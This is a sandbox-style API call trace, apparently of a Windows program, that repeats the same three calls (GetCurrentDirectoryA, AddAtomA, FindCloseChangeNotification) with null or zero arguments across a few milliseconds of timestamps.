GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.377] AddAtomA (lpString=0x0) returned 0x0 [0049.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.378] AddAtomA (lpString=0x0) returned 0x0 [0049.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.379] AddAtomA (lpString=0x0) returned 0x0 [0049.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.379] AddAtomA (lpString=0x0) returned 0x0 [0049.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.379] AddAtomA (lpString=0x0) returned 0x0 [0049.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.379] AddAtomA (lpString=0x0) returned 0x0 [0049.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.379] AddAtomA (lpString=0x0) returned 0x0 [0049.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.379] AddAtomA (lpString=0x0) returned 0x0 [0049.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.380] AddAtomA (lpString=0x0) returned 0x0 [0049.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.381] AddAtomA (lpString=0x0) returned 0x0 [0049.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.382] AddAtomA (lpString=0x0) returned 0x0 [0049.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.383] AddAtomA (lpString=0x0) returned 0x0 [0049.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.384] AddAtomA (lpString=0x0) returned 0x0 [0049.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.385] AddAtomA (lpString=0x0) returned 0x0 [0049.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.386] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.387] AddAtomA (lpString=0x0) returned 0x0 [0049.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.388] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0049.389] AddAtomA (lpString=0x0) returned 0x0 [0049.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 